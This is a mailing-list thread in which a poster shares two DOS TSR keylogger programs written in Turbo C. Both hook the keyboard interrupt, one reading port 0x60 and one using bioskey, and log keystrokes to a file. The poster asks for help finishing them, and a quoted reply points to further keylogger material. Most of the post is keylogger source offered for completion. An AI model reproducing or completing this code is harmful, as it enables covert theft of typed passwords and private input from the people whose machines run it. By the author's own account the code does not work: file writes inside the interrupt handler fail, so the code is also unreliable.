Basically i am posting the code 4 mass reach and hope someone might
help

there are 2 codes one designed to take input from keystrokes via port
0x60
and other from bioskey function

both are designed to read key a and store to file
on writing to file i would complete the keylogger with other
keypresses using a function

hope anyone will help

// Key Logger via Tsr
// compiled in Turbo C++ 3.0
// First this program will check if key A is pressed, if the program
is
// successful then only i will develop  a function for rest of   the
characters

// the program is for educational purpose and author takes no
responsibility whatsoever

#include<stdio.h>
#include<dos.h>
#include<conio.h>

void interrupt our();
void interrupt (*prev)();
char far *kb=(char far *)0x417;

void main()
{
prev=getvect(9);
setvect(9,our);      // calling interrupt
keep(0,1000);
}

void interrupt our()
{
if(inportb(0x60)==30) // first checking if key A is pressed
{
 writetofile();
}
 (*prev)();      // for executing the orignal processes in the program
}

writetofile()
{
FILE *fp;
fp=fopen("op3.txt","w"); // creating file handle
if(fp==NULL)
{
printf("exit");
exit();
}
else
fputs("a",fp);       // writing to file(most probably the part not
executing)
fclose(fp);
}


The other code designed with bioskey

// tsr keylogger via using bioskey rather than the inportrb

#include<stdio.h>
#include<dos.h>
#include<conio.h>
#include<bios.h>

void interrupt our();
void interrupt (*prev)();

FILE *fp;
void main()
{
prev=getvect(9);
setvect(9,our);
keep(0,3000);
}

void interrupt our()
{
int key,lo,hi;
if(kbhit())
{
key = bioskey(0);
fp=fopen("myfile.bin","wb+");
lo=key&0X00FF;               // for grtting ascii values of key
pressed
hi=(key & 0XFF00);
fputc((char)lo==0?hi+256:lo,fp);   // again the part not executing
fclose(fp);
}
 (*prev)();
}



On Oct 31, 6:43 pm, udit chandna <[EMAIL PROTECTED]> wrote:
> well the tsr i have in design acc to me is working fine but the
> problem is i believe of writing to file
> the program creates file but doesnt write to it as i am saving
> keystrokes in a file
>
> if u want the code just mail me your ids i would be glad to mail the
> code 2 u
>
> On Oct 30, 5:55 pm, "gajendra khanna" <[EMAIL PROTECTED]>
> wrote:
>
> > Hi Udit
> > This might be of interest to 
> > you:http://www.irongeek.com/i.php?page=security/keylogger
>
> > Since the said virus uses keypresses the binary footprint is likely to
> > be similar. That's why potentially it is reported.
> > Can you explain the problems in certain detail. When do these crashes
> > occur? Is there a pattern to them?
>
> > I think there shouldn't be any problem in sharing code here. (There
> > are many available already online in various formats and don't think
> > your posting it here is going to increase the misuse of such code :P)
>
> > I have some code for a GNU/Linux kernel module which blocks keyboard
> > inputs. Let me know if you want to see the code. i will post it here.
> > Regards
> > Gajendra

--~--~---------~--~----~------------~-------~--~----~
[EMAIL PROTECTED] mailing list -- group http://groups.google.com/group/iitdlug
-~----------~----~----~----~------~----~------~--~---

Reply via email to